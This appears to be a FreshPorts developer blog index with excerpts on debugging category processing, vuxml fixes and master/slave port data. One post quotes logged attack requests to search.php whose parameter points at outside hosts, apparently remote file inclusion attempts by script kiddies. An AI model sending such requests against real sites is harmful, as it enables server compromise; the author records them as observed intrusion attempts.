Late last night, I wrote about a problem with virtual categories. I’ve been unable to reproduce the problem in test. But I did find the problem in production. [dan@supernews:/usr/websites/freshports.org/scripts] $ touch ../dynamic/www.en.ports.categories [dan@supernews:/usr/websites/freshports.org/scripts] $ sh process_www_en_ports_categories.sh about to fetch: fetch -q -o /usr/websites/freshports.org/dynamic/caching/tmp/categories http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/www/en/ports/categories?rev=HEAD&content-type=text/plain Can’t locate Text/CSV_XS.pm in @INC (@INC contains: /usr/local/lib/perl5/5.8.8/BSDPAN /usr/local/lib/perl5/site_perl/5.8.8/mach /usr/local/lib/perl5/site_perl/5.8.8 /usr/local/lib/perl5/site_perl […]

Odd way to break in

4 Comments / Cracking /

Some people like to break into systems. Some like to find vulnerabilities. The good ones will tell you about the vulnerability so you can fix. Many won’t. Then there are the script kiddies. They don’t know much. They know how to run scripts. Lately, I’ve been seeing these requests to the FreshPorts website: /search.php?stype=http://0x00013.50webs.org/tesgcc.txt? /search.php?stype=http://0x0134.lan.io/pb.php?

vuxml – fix

Leave a Comment / Bug fixes, vuxml /

This isn’t so much a fix for the vuxml problem mentioned previously as it is a fix for properly detecting and reporting fetch errors. The patch is pretty simple: $ cvs di -u utilities.pm Index: utilities.pm =================================================================== RCS file: /home/repositories/freshports-1/scripts/utilities.pm,v retrieving revision 1.16 diff -u -r1.16 utilities.pm — utilities.pm 13 Sep 2007 13:01:41 -0000 1.16

vuxml configuration still not right

Leave a Comment / Bug fixes, vuxml /

This morning portaudit told me I needed to upgrade PHP5 on a few servers. Again, I checked FreshPorts to see if a fix was in. Apparently it was. Unfortunately, it was wrong. Checking the version of vuln.xml in the ports tree, I found: $ grep ‘$FreeBSD’ ports/security/vuxml/vuln.xml $FreeBSD: ports/security/vuxml/vuln.xml,v 1.1416 2007/09/11 19:40:02 remko Exp $

master / slave relationships

2 Comments / Bug fixes, Master/Slave /

As reported by sem@, there is a problem with the display of master/slave relationships within FreshPorts. The relationship is stored in the ports table, with the master_port attribute being a pointer to the master port. This text field typically has values such as this: freshports.org=# SELECT DISTINCT(master_port) freshports.org-# FROM ports_active freshports.org-# where master_port ” freshports.org-#
